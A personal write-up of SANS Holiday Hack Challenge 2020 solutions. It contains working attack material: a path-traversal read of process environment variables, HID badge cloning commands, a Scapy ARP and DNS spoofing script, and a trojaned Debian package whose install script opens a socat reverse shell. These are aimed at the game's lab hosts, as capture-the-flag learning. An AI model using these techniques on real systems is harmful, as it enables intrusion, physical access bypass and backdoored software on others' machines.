Right before the end of 2020 I completed the Holiday Hack Challenge 2020. Though it’s obviously not the first type this conference took place, it was the first time I participated. Below is my write-up of the primary objectives along with a selection of side-challenges.




Uncover Santa’s Gift List

There is a photo of Santa’s Desk on that billboard with his personal gift list. What gift is Santa planning on getting Josh Wright for the holidays? Talk to Jingle Ringford at the bottom of the mountain for advice.

Santa’s gift list got warped and twirled. Use a tool such as Photopea to undo the twirl and make the list readable again.


Take take to select the smallest area that fits the twirl before undoing the twirl, otherwise other parts of the image are pulled into the vortex of entropy.

Investigate S3 Bucket

When you unwrap the over-wrapped file, what text string is inside the package? Talk to Shinny Upatree in front of the castle for hints on this challenge.

The tool provided is the bucket_finder. Modify the provided wordlist to contain wrapper3000 and run the script. It now finds a public bucket:

Bucket Found: wrapper3000 ( http://s3.amazonaws.com/wrapper3000  )
        <Public> http://s3.amazonaws.com/wrapper3000/package

Download the file and unwrap the package. I’m using the long getopt format for clarity:

% cat package | base64 --decode | zcat | bzip2 --decompress --stdout | \
			tar -xf - -O | xxd --revert | xz --decompress | zcat
North Pole: The Frostiest Place on Earth

Point-of-Sale Password Recovery

Help Sugarplum Mary in the Courtyard find the supervisor password for the point-of-sale terminal. What’s the password?

The downloaded file is a PE32 binary:

santa-shop.exe: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive

Turns out that 7z can extract the PE32 binary as it recognizes the Nullsoft Scriptable Install System (NSIS) format:

Extracting archive: santa-shop.exe
Path = santa-shop.exe
Type = Nsis

This creates an uninstaller and extracts the remainder in $PLUGINDIR. Of the files it extracted app-64.7z looks most promising and indeed, extracting it results in plenty of new files:

Listing archive: app-64.7z

Path = app-64.7z
Type = 7z
Physical Size = 49323645
Headers Size = 1493
Method = LZMA2:20 LZMA:20 BCJ2
Solid = -
Blocks = 74

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
                    D....            0            0  locales
                    D....            0            0  resources
                    D....            0            0  swiftshader
                    ....A         1080          683  LICENSE.electron.txt
                    ....A      4867184       162264  LICENSES.chromium.html
                    ....A       179639       161758  chrome_100_percent.pak
                    ....A       319775       298475  chrome_200_percent.pak
                    ....A     10505952      3390898  icudtl.dat
                    ....A       136957        28463  locales/am.pak
                    ....A      4803373      4027290  resources.pak
                    ....A          100           92  resources/app-update.yml
                    ....A       136143       115548  resources/app.asar
                    ....A        50596        50299  snapshot_blob.bin
                    ....A       170896       169402  v8_context_snapshot.bin
                    ....A          106           96  vk_swiftshader_icd.json
                    ....A      4481992      1393851  d3dcompiler_47.dll
                    ....A      2772480       889608  ffmpeg.dll
                    ....A       379904       134957  libEGL.dll
                    ....A      7863296      1911175  libGLESv2.dll
                    ....A       107520        49158  resources/elevate.exe
                    ....A    110713856     33011587  santa-shop.exe
                    ....A       400384       144385  swiftshader/libEGL.dll
                    ....A      3775488       795313  swiftshader/libGLESv2.dll
                    ....A      4472832       988492  vk_swiftshader.dll
                    ....A       623616       203663  vulkan-1.dll
------------------- ----- ------------ ------------  ------------------------

The resources/app.asar is of most interest here. We can extract it with the Node asar module:

futaleufu:359 resources % /tmp/node_modules/asar/bin/asar.js extract app.asar app
futaleufu:359 resources % find app
futaleufu:360 resources %

main.js contains the password for us:

const SANTA_PASSWORD = 'santapass';

References: How to unpack an .asar file?

Operate the Santavator

Talk to Pepper Minstix in the entryway to get some hints about the Santavator.

Looking at the challenge URL we see:


If we modify this and add redlight (it can actually be found on floor 2) we get another light bulb. And in app.js there are additional items to be had:

  • yellowlight
  • ball
  • workshop-button (needed to get to floor 1.5, you can actually find it in the side room on floor 2)
  • marble

Modify the iframe from within the browser tab. Merely adjusting the URL in the browser itself won’t work.

<iframe title="challenge" src="https://elevator.kringlecastle.com?challenge=elevator&amp;id=62713044-52ad-4c36-9414-4f7eb0f22bf9&amp;username=jasperla&amp;area=santavator1&amp;location=1,2&amp;tokens=elevator-key,nut2,candycane,greenlight,nut,redlight,ball,yellowlight"></iframe>

More on this later, as there is actually another way to travel between floors which is a lot simpler than trying to solve intricate puzzles such as this contraption:


Open HID Lock

Open the HID lock in the Workshop. Talk to Bushy Evergreen near the talk tracks for hints on this challenge. You may also visit Fitzy Shortstack in the kitchen for tips.

Presentation on YouTube

Open the PM3 interface and issue lf search to scan for 125khz (low frequency) cards. In the proximity of one of the elves in the backroom I got

#db# TAG ID: 2006e22ee1 (6000) - Format Len: 26 bit - FC: 113 - Card: 6000

This indicates a facility code of 113 (this will be static for the other cards found here too).

All found badges:

Noel Boetie: #db# TAG ID: 2006e22ee1 (6000) - Format Len: 26 bit - FC: 113 - Card: 6000 (Workshop floor wrapping room)
Shinny Upatree: #db# TAG ID: 2006e22f13 (6025) - Format Len: 26 bit - FC: 113 - Card: 6025 (front yard)
Sparkle Redberry: #db# TAG ID: 2006e22f0d (6022) - Format Len: 26 bit - FC: 113 - Card: 6022 (in front of elevator)

Now we can use the wiegand commands to decode this to learn more about the format:

[magicdust] pm3 --> wiegand decode --raw 2006e22ee1
[+] [H10301] - HID H10301 26-bit;  FC: 113  CN: 6000    parity: valid

The card has a relatively high id, so lets encode a lower number and see if that gets us anything:

[magicdust] pm3 --> wiegand encode --wiegand H10301 --fc 113 --cn 1  
[+] Encoded wiegand: 2004E20002
[magicdust] pm3 --> lf hid sim -r 2004E20002
[=] Simulating HID tag using raw 2004E20002
[=] Stopping simulation after 10 seconds.
[=] Done
[magicdust] pm3 --> 

Or easier to iterate through keys IDs:

[magicdust] pm3 --> lf hid sim -w H10301 --fc 113 --cn 1337

In the kitchen Fitzy gives a hint: “Santa seems to really trust Shinny Upatree”. So we replay his card:

[magicdust] pm3 --> lf hid sim -w H10301 --fc 113 --cn 6025
[=] Simulating HID tag
[+] [H10301] - HID H10301 26-bit;  FC: 113  CN: 6025    parity: valid
[=] Stopping simulation after 10 seconds.
[=] Done

And that unlocked the door!

Splunk Challenge

Access the Splunk terminal in the Great Room. What is the name of the adversary group that Santa feared would attack KringleCon?

Presentation on YouTube

This challenge requires us to dig into the logs and answer a number of questions in order to uncover Santa’s fear.

  1. How many distinct MITRE ATT&CK techniques did Alice emulate?: Using the query: | tstats count WHERE index=t* by index | table index | rex field=index mode=sed "s/-main//" | rex field=index mode=sed "s/-win//" | rex field=index mode=sed "s/\.\d\d\d//" | dedup index | stats We get to 13.
  2. What are the names of the two indexes that contain the results of emulating Enterprise ATT&CK technique 1059.003? (Put them in alphabetical order and separate them with a space): t1059.003-main t1059.003-win
  3. One technique that Santa had us simulate deals with ‘system information discovery’. What is the full name of the registry key that is queried to determine the MachineGuid? System information discovery is described in the framework as T1082, so using a query like index=t1082-win MachineGuid we see events querying HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography.
  4. According to events recorded by the Splunk Attack Range, when was the first OSTAP related atomic test executed? (Please provide the alphanumeric UTC timestamp.) Query: index=attack OSTAP and locate the oldest entry: 2020-11-30T17:44:15Z
  5. One Atomic Red Team test executed by the Attack Range makes use of an open source package authored by frgnca on GitHub. According to Sysmon (Event Code 1) events in Splunk, what was the ProcessId associated with the first use of this component? frgnca has a single Windows-related package on GitHub, the AudioDeviceCmdlets. This is referenced by T1123 Looking at the command that’s executed and searching for WindowsAudioDevice we can find one event in Splunk with the ProcessId of 3648.
  6. Alice ran a simulation of an attacker abusing Windows registry run keys. This technique leveraged a multi-line batch file that was also used by a few other techniques. What is the final command of this multi-line batch file used as part of this simulation? T1547 deals with Registry Run Keys so we start looking into the appropriate index (index=T1547* file_name=*.bat | table file_name) we see that batstartup.bat would be an interesting candidate. However the source on GitHub doesn’t seem to be a multiline file. Another referenced file is Discovery.bat whose last line is quser.
  7. According to x509 certificate events captured by Zeek (formerly Bro), what is the serial number of the TLS certificate assigned to the Windows domain controller in the attack range? index=* sourcetype=bro:x509:json CN=win-dc-748.attackrange.local And the first hit is directly for win-dc-748.attackrange.local with a serial of 55FCEEBB21270D9249E86F4B9DC7AA60

Challenge question: What is the name of the adversary group that Santa feared would attack KringleCon?

In the chat we get this message:

This last one is encrypted using your favorite phrase! The base64 encoded ciphertext is: 7FXjP1lyfKbyDK/MChyf36h7 It’s encrypted with an old algorithm that uses a key. We don’t care about RFC 7465 up here! I leave it to the elves to determine which one!

RFC 7465 is titled “Prohibiting RC4 Cipher Suites” so that would suggest it’s actually RC4 encrypted. The key is hidden in the presentation associated with this objective: Stay Frosty as hinted by Alice (I can’t believe the Splunk folks put it in their talk!)

And with that we can decrypt the ciphertext to: The Lollipop Guild.

Solve the Sleigh’s CAN-D-BUS

Jack Frost is somehow inserting malicious messages onto the sleigh’s CAN-D bus. We need you to exclude the malicious messages and no others to fix the sleigh. Visit the NetWars room on the roof and talk to Wunorse Openslae for hints.

Presentation on YouTube

Each message has an 11-bit CAN ID (e.g. 0x17a) followed by data (size varies based on dialect and type of message).

The stream of data contains data from the CAN bus and we have to exclude the rogue messages put on the bus by Jack Frost. Using the Windows sniping tool was a really great aid as it freezes the screen when selecting the area to create a screenshot of before actually making the screenshot. This makes it a lot easier to analyze the output after changing a control and determine the changes on the bus. Alternatively you can use any screen recording software as long as it indicates where the mouse clicks within the display and analyze the video.

Using this method I was able to map the following controls to their IDs and payloads:

  • lock: 19B# payload: 000000000000
  • unlock: 19B# payload: 00000F000000`
  • start: 02A# payload: 00FF00`
  • stop: 02A# payload: 0000FF
  • rpm: 244# payload: rpm value in hex
  • steering: 019#: payload: steering value in hex (left: two’s complement negative, right: positive)
  • brake: 080# payload: value in hex

This showed there were two rogue messages on the bus that didn’t correspond to any triggers which can be filtered with:

  • ID: 19B operator: equals critereon: 00 00 00 0F 20 57
  • ID: 080 operator: contains, critereon: FF FF F

Applying these filters defrosts the sleigh!

Broken Tag Generator

Help Noel Boetie fix the Tag Generator in the Wrapping Room. What value is in the environment variable GREETZ? Talk to Holly Evergreen in the kitchen for help with this.

This seems like a dynamic application first I wanted to determine the language the application was written in. Perhaps we need to embed some PHP code into an image or the like. Going to index.php we get the following error:

Something went wrong!
Error in /app/lib/app.rb: Route not found

This suggests we’re dealing with a Ruby (on Rails) application instead. Uploading a foo.rb file gives us even more information:

Error in /app/lib/app.rb: Unsupported file type: /tmp/RackMultipart20201218-1-ymgsbj.rb

Continue looking at the client-side Javascript app.js to determine which endpoints are available to us to tinker with:

  $('.uploadFile').prop( "disabled", true );
  $('.inputfile').click(evt => {
    if ($('[for=file-1] span').text() !== 'Select file(s)') {
      var form = $('.uploadForm')[0];
      console.log('form:', form);
      var data = new FormData(form);
      console.log('data', data);
        type: "POST",
        enctype: 'multipart/form-data',
        url: "/upload",
        data: data,
        processData: false,
        contentType: false,
        cache: false,
        timeout: 600000,
        success: function (data) {
          $('[for=file-1] span').text('Select file(s)');
            setTimeout(() => {
              data.forEach(id => {
                var img = $('<img id="dynamic">');
                img.attr('src', `/image?id=${id}`);

So we have two endpoints to look into: /upload and image?id=$ID.

Attempting to obtain the source for the application using id=app.rb returns an empty “page”:

< HTTP/1.1 200 OK
< Server: nginx/1.14.2
< Date: Fri, 18 Dec 2020 17:58:20 GMT
< Content-Type: image/jpeg
< Content-Length: 0
< Connection: keep-alive
< X-Content-Type-Options: nosniff
< Strict-Transport-Security: max-age=15552000; includeSubDomains
< X-XSS-Protection: 1; mode=block
< X-Robots-Tag: none
< X-Download-Options: noopen
< X-Permitted-Cross-Domain-Policies: none

A bogus id like quux returns an explicit 404. So let’s keep enumerating.

Uploading a hello.rb with puts "Hello world" allows us to trigger the error message seen before and now we can use that filename as id\=RackMultipart20201218-1-t13isi.rb. Now we get the file back verbatim so no remote code execution yet:

< HTTP/1.1 200 OK
< Server: nginx/1.14.2
< Date: Fri, 18 Dec 2020 18:01:10 GMT
< Content-Type: image/jpeg
< Content-Length: 20
< Connection: keep-alive
< X-Content-Type-Options: nosniff
< Strict-Transport-Security: max-age=15552000; includeSubDomains
< X-XSS-Protection: 1; mode=block
< X-Robots-Tag: none
< X-Download-Options: noopen
< X-Permitted-Cross-Domain-Policies: none
puts "Hello world!"

So let’s get the source file for the web application itself using a “full” relative path id\=../../../../app/lib/app.rb:

# encoding: ASCII-8BIT

TMP_FOLDER = '/tmp'

# Don't put the uploads in the application folder
Dir.chdir TMP_FOLDER


def handle_zip(filename)
  LOGGER.debug("Processing #{ filename } as a zip")
  out_files = []

  Zip::File.open(filename) do |zip_file|
    # Handle entries one by one
    zip_file.each do |entry|
      LOGGER.debug("Extracting #{entry.name}")

      if entry.size > MAX_SIZE
        raise 'File too large when extracted'

      if entry.name().end_with?('zip')
        raise 'Nested zip files are not supported!'

      # I wonder what this will do? --Jack
      # if entry.name !~ /^[a-zA-Z0-9._-]+$/
      #   raise 'Invalid filename! Filenames may contain letters, numbers, period, underscore, and hyphen'
      # end

      # We want to extract into TMP_FOLDER
      out_file = "#{ TMP_FOLDER }/#{ entry.name }"

      # Extract to file or directory based on name in the archive
      entry.extract(out_file) {
        # If the file exists, simply overwrite

      # Process it
      out_files << process_file(out_file)

  return out_files

def handle_image(filename)
  out_filename = "#{ SecureRandom.uuid }#{File.extname(filename).downcase}"
  out_path = "#{ FINAL_FOLDER }/#{ out_filename }"

  # Resize and compress in the background
  Thread.new do
    if !system("convert -resize 800x600\\> -quality 75 '#{ filename }' '#{ out_path }'")
      LOGGER.error("Something went wrong with file conversion: #{ filename }")
      LOGGER.debug("File successfully converted: #{ filename }")

  # Return just the filename - we can figure that out later
  return out_filename


Actually, we can simply grab /proc/self/environ leveraging this Local File Inclusion exploit to complete the objective:

% curl -o- https://tag-generator.kringlecastle.com/image\?id\=../../../../proc/self/environ

This gives us the value of the environment variable GREETZ=JackFrostWasHere.

Alternatively we could attempt a zip slip attack and overwrite some of the web application itself and drop a malicious app.rb or even overwrite convert as that gets called with system in the handle_image method and replace it with a malicious binary to establish a reverse shell.

ARP Shenanigans

Jack Frost has hijacked the host at with some custom malware. Help the North Pole by getting command line access back to this host. Read the HELP.md file for information to help you in this endeavor. Note: The terminal lifetime expires after 30 or more minutes so be sure to copy off any essential work you have done as you go.

When tcpdump’ing on eth0 we see a number of incoming ARP requests from the infected host:

20:47:33.022553 ARP, Request who-has tell, length 28
20:47:34.058472 ARP, Request who-has tell, length 28

So let’s use scapy to spoof an ARP response such that it would seem as if belong to us. Use the provided skeleton to implement the handle_arp_packets method to spoof the response as if it’s coming from our machine:

def handle_arp_packets(packet):
    # if arp request, then we need to fill this out to send back our mac as the response
    if ARP in packet and packet[ARP].op == 1:
        ether_resp = Ether(dst=packet[Ether].src, type=0x806, src=macaddr)
        arp_response = ARP(pdst=ipaddr)
        arp_response.op = 0x2
        arp_response.plen = 0x4
        arp_response.hwlen = 0x6
        arp_response.ptype = 0x0800
        arp_response.hwtype = 0x1
        arp_response.hwsrc = macaddr
        arp_response.psrc = packet[ARP].pdst
        arp_response.hwdst = packet[ARP].hwsrc
        arp_response.pdst = packet[ARP].psrc
        response = ether_resp/arp_response
        sendp(response, iface="eth0")

And now we see another request, this time for DNS:

21:04:41.962468 ARP, Request who-has tell, length 28
21:04:41.986458 ARP, Reply is-at 02:42:0a:06:00:04, length 28
21:04:42.011142 IP > 0+ A? ftp.osuosl.org. (32)
21:04:42.027426 IP > 0 1/0/0 A (62)

DNS is more tricky to get right due to the various flags. Using this handle_dns_request method I was able to answer the query succesfully. The TCP/IP Guide really came in handy with this one.

# destination ip we arp spoofed
ipaddr_we_arp_spoofed = ""
def handle_dns_request(packet):
    print("request for: {}".format(packet[DNS][DNSQR].qname))
    eth = Ether(src=macaddr, dst='4c:24:57:ab:ed:84')
    ip  = IP(dst=packet[IP].src, src=ipaddr_we_arp_spoofed)
    udp = UDP(dport=packet[IP].sport, sport=53)
    dns = DNS(
    dns_response = eth / ip / udp / dns
    sendp(dns_response, iface="eth0")

Let’s tidy it all up and put it together in a new pwn.py script


from scapy.all import *
import netifaces as ni
import uuid

# Our eth0 IP
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']

# Our Mac Addr
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])

# destination ip we arp spoofed
ipaddr_we_arp_spoofed = ""

def pwn(packet):
    if ARP in packet and packet[ARP].op == 1:
        ether_resp = Ether(dst=packet[Ether].src, type=0x806, src=macaddr)
        arp_response = ARP(pdst=ipaddr)
        arp_response.op = 0x2
        arp_response.plen = 0x4
        arp_response.hwlen = 0x6
        arp_response.ptype = 0x0800
        arp_response.hwtype = 0x1
        arp_response.hwsrc = macaddr
        arp_response.psrc = packet[ARP].pdst
        arp_response.hwdst = packet[ARP].hwsrc
        arp_response.pdst = packet[ARP].psrc
        response = ether_resp/arp_response
        sendp(response, iface="eth0")
    elif DNS in packet:
        print("DNS request for: {}".format(packet[DNS][DNSQR].qname))
        eth = Ether(src=macaddr, dst=packet[Ether].src)
        ip  = IP(dst=packet[IP].src, src=ipaddr_we_arp_spoofed)
        udp = UDP(dport=packet[IP].sport, sport=53)
        dns = DNS(
        dns_response = eth / ip / udp / dns
        sendp(dns_response, iface="eth0")

def main():
    bpf_arp = "(arp[6:2] = 1)"
    bpf_dns = " and ".join( [
        "udp dst port 53",                              # dns
        "udp[10] & 0x80 = 0",                           # dns request
        "dst host {}".format(ipaddr_we_arp_spoofed),    # destination ip we had spoofed (not our real ip)
        "ether dst host {}".format(macaddr)             # our macaddress since we spoofed the ip to our mac
    ] )
    # Combine both expressions for BPF to parse
    bpf_expr = bpf_arp + " or (" + bpf_dns + ")"
    sniff(filter=bpf_expr, prn=pwn, store=0, iface="eth0")

if __name__ == "__main__":

Right-away we see an incoming HTTP request; so we can setup a temporary webserver to serve it python3 -m http.server 80:

"GET /pub/jfrost/backdoor/suriv_amd64.deb HTTP/1.1"

Now we can attempt to backdoor the request Debian package file. I have previously done this for a HackTheBox machine (onetwoseven) and there are also additional steps described in one of the provided resources. Using this vector we can create a nice reverse shell for ourselves. My idea was to use the socat package as a base since we’d be sure to have a useful tool available to us. GTFObins can be of help to determine which other tools could be leveraged.

Start by unpacking the existing .deb into work: dpkg-deb -R socat_1.7.3.3-2_amd64.deb work.

I created a new pwn script (not to be confused with the pwn.py used with Scapy) in usr/pwn:

socat tcp-connect:$RHOST:$RPORT exec:/bin/sh,pty,stderr,setsid,sigint,sane

Next I created a postinstall script to install my “helper” script as well as socat proper setguid root and sequently trigger the backdoor:

sudo chmod 2755 /usr/bin/socat /usr/bin/pwn
sudo /usr/bin/pwn

Pack it all back up in the web root so we can serve the backdoor:

dpkg-deb --build work/
mv work.deb suriv_amd64.deb

Now it’s time to hook it all up and exploit the other machine. Run pwn.py again and wait for the reverse shell to come back so we can inspect the meeting minutes to complete the challenge:

guest@1fe2a058e136:~$ nc -nlvp 8000
listening on [any] 8000 ...
connect to [] from (UNKNOWN) [] 48538
/bin/sh: 0: can't access tty; job control turned off
$ ls
NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt  etc    lib64   opt   sbin  usr
bin                                            home   libx32  proc  srv   var
boot                                           lib    media   root  sys
dev                                            lib32  mnt     run   tmp
$ cat NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt 
cat NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt 
January 20, 2020
Motion to adjourn – So moved, Krampus.  Second – Clarice. All in favor – aye. None opposed, although Chairman Frost made another note of his strong disagreement with the approval of the Kringle Castle expansion plan.  Meeting adjourned.

Defeat Fingerprint Sensor

Bypass the Santavator fingerprint sensor. Enter Santa’s office without Santa’s fingerprint.

Whilst inspecting the code I was looking to understand the connection between lighting up the LEDs for green, red, yellow and the rest of the elevator’s operations. That’s when I realized the trigger to travel between floors is initiated at the client side and we can override that. This essentially bypasses the fingerprint sensor too.

Select the right context within the browser console and use this code to travel to the third floor:

        type: 'POST',
        url: POST_URL,
        dataType: 'json',
        contentType: 'application/json',
        data: JSON.stringify({ 
          targetFloor: '3',
          id: getParams.id,
        success: (res, status) => {
          if (res.hash) {
              resourceId: getParams.id || '1111',
              hash: res.hash,
              action: 'goToFloor-3',

Make sure you’re not Santa otherwise the objective won’t be marked as completed. However you have to be Santa in order to talk to Tinsel Upatree and download the blockchain.dat file.

And that’s also when you realize that there’s no need at all to play with the Christmas lights if you can simply use the code above to travel between floors. The more generic code to use would be:

var floor = '2';
  type: 'POST',
  url: POST_URL,
  dataType: 'json',
  contentType: 'application/json',
  data: JSON.stringify({
    targetFloor: floor,
    id: getParams.id,
  success: (res, status) => {
    if (res.hash) {
        resourceId: getParams.id || '1111',
        hash: res.hash,
        action: 'goToFloor-' + floor,

Where floor can be any of ['1', '1.5', '2', '3', 'r']

Naughty/Nice List with Blockchain Investigation


The Naughty/Nice blockchain is what the Elves use to keep track of actions of people by filing their reports along with metadata. Due to the cryptographic properties (or rather, the desired cryptographic properties…) it should be impossible to make any modifications to existing blocks without invalidating the remainder.

Each block consists of these fields (fields in bold are controlled by the Elves):

  • Index: number of the block on the chain
  • Nonce: a random, 64-bit value added by the blockchain code. Provides security against issues with MD5
  • PID: ID of the naughty/nice individual
  • RID: reporting party ID
  • Document count
  • Score
  • Naughty/nice: flag. 1 = nice, 0 = naughty
  • Documents
  • Date/time
  • Previous hash
  • Signature: S3 digital signature of the MD5 hash of all previous data

A hash of the entire block (including signature) will be used as the previous hash on the next block, this allows for iterating through the blocks and verifying the integrity of the chain. Very first block is the “Genesis Block” and it is by definition assumed to be valid. If a hash doesn’t match, that means that block and all subsequent blocks are invalid.

The existing blockchain uses MD5 hashes, but it will be upgraded to use SHA256 in 2021. The nonce field was added several years ago to combat the issues associated with MD5 (hash collisions).

Part 1

Even though the chunk of the blockchain that you have ends with block 129996, can you predict the nonce for block 130000? Talk to Tangle Coalbox in the Speaker UNpreparedness Room for tips on prediction and Tinsel Upatree for more tips and tools. (Enter just the 16-character hex value of the nonce)

Looking at the provided Python script we’re told the nonce is a 64-bit number, however the mt19937 module we used to beat the Snowball game only works with 32-bit integers. One way to create a 64-bit nonce is by using two 32-bit integers.

For this challenge I used a different Mersenne twister predictor than before, but it also still used 32-bit integers. I did attempt to modify the code using the 64-bit constants from the Wikpedia article but that didn’t get me anywhere.

The provided blockchain.dat contains a total of 1548 blocks, which give us a total of 3096 unique 32-bit integers to prime the predictor with. First we need to split them however:

upper = nonce >> 32
lower = nonce & 0xffffffff

We obtain the upper half by right shifting it by 32 and the lower half is obtained by doing an AND with the maximum value a 32-bit integer can contain. Let’s use take the nonce of block 12996 (0xeb806dad1ad54826) as an illustrated example:

>>> nonce = 0xeb806dad1ad54826
>>> bin(nonce)
>>> upper = nonce >> 32
>>> lower = nonce & 0xffffffff
>>> bin(upper)
>>> bin(lower)

Note that lower is not exactly the same length as upper, that’s due to the zero bytes which are left out, however when we put them back together they do result in the nonce:

>>> assert(nonce == (upper << 32) | lower)

Using the following nonce_predictor.py script I successfully determined the nonces of the next four blocks:

#!/usr/bin/env python3

from Crypto.PublicKey import RSA
from mt19937predictor import MT19937Predictor
from naughty_nice import Block, Chain

def main():
    with open('official_public.pem', 'rb') as fh:
        official_public_key = RSA.importKey(fh.read())
        c2 = Chain(load=True, filename='blockchain.dat')

    predictor = MT19937Predictor()

    # Load all blocks and prime the predictor with the 32-bit numbers derived from the
    # original 64-bit nonce.
    for b in c2.blocks:
        upper = b.nonce >> 32
        lower = b.nonce & 0xffffffff

        print("block %i nonce: %s (%s)" % (b.index, ('%016.016x' % (b.nonce)), b.nonce))

        predictor.setrandbits(lower, 32)
        predictor.setrandbits(upper, 32)

    print("\nPredicting future nonces\n")

    for i in range(4):
        lower = predictor.getrandbits(32)
        upper = predictor.getrandbits(32)
        nonce = (upper << 32) | lower
        print(f"block {c2.blocks[-1].index + i +1}: nonce: {hex(nonce)[2:]}")

if __name__ == '__main__':

Which resulted in:

block 129996 nonce: eb806dad1ad54826 (16969683986178983974)

Predicting future nonces

block 129997: nonce: b744baba65ed6fce
block 129998: nonce: 1866abd00f13aed
block 129999: nonce: 844f6b07bd9403e4
block 130000: nonce: 57066318f32f729d

Part 2

The SHA256 of Jack’s altered block is: 58a3b9335a6ceb0234c12d35a0564c4e f0e90152d0eb2ce2082383b38028a90f. If you’re clever, you can recreate the original version of that block by changing the values of only 4 bytes. Once you’ve recreated the original block, what is the SHA256 of that block?

Though not strictly required I started out by dumping all documents stored in the blockchain; note that not all blocks only have a single document stored in them. As it turns out, the block that stores multiple documents actually matches the provided SHA256 sum.

    # Dump all documents associated with a block; take into account a block can contain
    # multiple documents.
    for b in c2.blocks:
        for i in range(b.doc_count):

This block, 129459, contains these files:

  • 129459.bin
  • 129459.pdf

The PDF file cannot be viewed with Preview.app, however Chrome can. The contents make it clear Jack Frost has been meddling with it:

“Jack Frost is the kindest, bravest, warmest, most wonderful being I’ve ever known in my life.” – Mother Nature “Jack Frost is the bravest, kindest, most wonderful, warmest being I’ve ever known in my life.” – The Tooth Fairy “Jack Frost is the warmest, most wonderful, bravest, kindest being I’ve ever known in my life.” – Rudolph of the Red Nose “Jack Frost is the most wonderful, warmest, kindest, bravest being I’ve ever known in my life.” – The Abominable Snowman With acclaim like this, coming from folks who really know goodness when they see it, Jack Frost should undoubtedly be awarded a huge number of Naughty/Nice points. Shinny Upatree 3/24/2020

This aligns with one of the hints:

Shinny Upatree swears that he doesn’t remember writing the contents of the document found in that block. Maybe looking closely at the documents, you might find something interesting.

It took me a while to create a plan on how to go about finding the four bytes that needed to be modified. Let’s first store the actual block to disk as block.dat:

for idx, b in enumerate(c2.blocks):
    if b.index == 129459:

One thing I did notice whilst looking at this block was that the sign field was set to Nice, as this document likely pertained to actions by Jack Frost that seemed suspicious. At this point that was merely an observeration rather than something actionable.

Going back to the PDF; the Hash Collision Exploitation with files presentation has a slide which matches our findings of the PDF in the block:


The internal structure of a PDF file is that of linked objects of various types which reference each other such as Pages, Fonts, Resources, etc. Here’s a high level overview and here a diagram. So this document was modified in such a way that Jack Frost inserted additional content into the PDF, rearranged what is displayed and he did it in such a way the MD5 sum didn’t change. That’s a hash collision!

The slide deck has another interesting slide (all of the slides are, really): Output of a UniColl computation. Now the UniColl method requires us to make changes to files using a pair of bytes. If we alter one byte we must alter another. With MD5 using 64 byte blocks we have to focus on the bytes at offset 74: block size + 10. Why 10? See a few slides further along in the deck. A mistake would be to focus on the documents in the block rather than the block as a whole because in the end the MD5 sum is calculated from the whole block, not just the documents. The MD5 of block 129459 is b10b4a6bd373b61f32f4fd3a0cdfbf84, regardless of our four modifications this should remain the same.

At this point it dig into a hex editor and located the byte at offset 10 in the second block (thus byte 74 of the block). If you’re hex editor allows for it, it makes it easier to navigate by resizing the window to have 64 bytes per row, such as Hex Fiend. Change that byte from 0x31 to 0x30. Now go to the 138th byte (2*64)+10 and change it 0xd6 to 0xd7. At this point we’ve changed the sign of the block from Nice to Naughty while still maintaining the same checksum. The second change is done to the blob document so no harm done here.

Two bytes done, two more to go.

Remember the Catalog in the PDF? The reference to object 3 is stored at offset 266 which is equal to the 10th byte after the fourth block! Increase that byte by one from 0x32 to 0x33 and apply the inverse to the byte at (5*64)+10 (0x1c to 0x1b). Lo and behold, the MD5 sum hasn’t changed but the PDF sure has!

“Earlier today, I saw this bloke Jack Frost climb into one of our cages and repeatedly kick a wombat. I don’t know what’s with him… it’s like he’s a few stubbies short of a six-pack or somethin’. I don’t think the wombat was actually hurt… but I tell ya, it was more ‘n a bit shook up. Then the bloke climbs outta the cage all laughin’ and cacklin’ like it was some kind of bonza joke. Never in my life have I seen someone who was that bloody evil…” Quote from a Sidney (Australia) Zookeeper

At this point we calculate the SHA256 of the block and submit it and we can travel to Santa’s office.


And with that, we unlock the final verse of the narrative:

Could it be that Jack Frost created an MD5 hash collision when he modified the original?

KringleCon back at the castle, set the stage…

But it’s under construction like my GeoCities page.

Feel I need a passport exploring on this platform -

Got half floors with back doors provided that you hack more!

Heading toward the light, unexpected what you see next:

An alternate reality, the vision that it reflects.

Mental buffer’s overflowing like a fast food drive-thru trash can.

Who and why did someone else impersonate the big man?

You’re grepping through your brain for the portrait’s “JFS”

“Jack Frost: Santa,” he’s the villain who had triggered all this mess!

Then it hits you like a chimney when you hear what he ain’t saying:

Pushing hard through land disputes, tryin' to stop all Santa’s sleighing.

All the rotting, plotting, low conniving streaming from that skull.

Holiday Hackers, they’re no slackers, returned Jack a big, old null!

Instead of making the changes to the block by hand, I wrote this script to verify the results:

#!/usr/bin/env python3

from Crypto.Hash import MD5, SHA256
from Crypto.PublicKey import RSA
from naughty_nice import Block, Chain, Naughty

def main():
    with open('official_public.pem', 'rb') as fh:
        official_public_key = RSA.importKey(fh.read())
        c2 = Chain(load=True, filename='blockchain.dat')

    for idx, block in enumerate(c2.blocks):
        # Compute the SHA256 hash of each block to in order to locate the modifed block.
        hash_sha256 = SHA256.new()

        if hash_sha256.hexdigest() == '58a3b9335a6ceb0234c12d35a0564c4ef0e90152d0eb2ce2082383b38028a90f':
            print(f"[+] Found the modified block at index {block.index}")
            # Now dump all documents associated with the modified block;
            # take into account a block can contain multiple documents.
            print(f"[+] Dumping documents and saving the block")
            for i in range(block.doc_count):

            c2.save_a_block(idx, 'block_129459.dat')

            hash_md5 = MD5.new()
            modified_block_md5 = hash_md5.hexdigest()
            print(f"[*] MD5 to match: {modified_block_md5}")

            # The sign was set to '1' (Nice), tweak that to Naughty
            block.sign = Naughty
            #print(hex(block.block_data()[137])) (2*64 + 10)-1

    # Now load the saved block and apply our changes to obtain the original block again.
    with open('block_129459.dat', 'rb+') as fh:
        block_data = bytearray(fh.read())

        # Change the sign from Nice to Naughty and fixup the hash.
        block_data[73] -= 1
        block_data[137] += 1

        # Fix the PDF document
        block_data[265] += 1
        block_data[329] -= 1

        fh.seek(0, 0)

    hash_md5 = MD5.new()
    fixed_block_md5 = hash_md5.hexdigest()
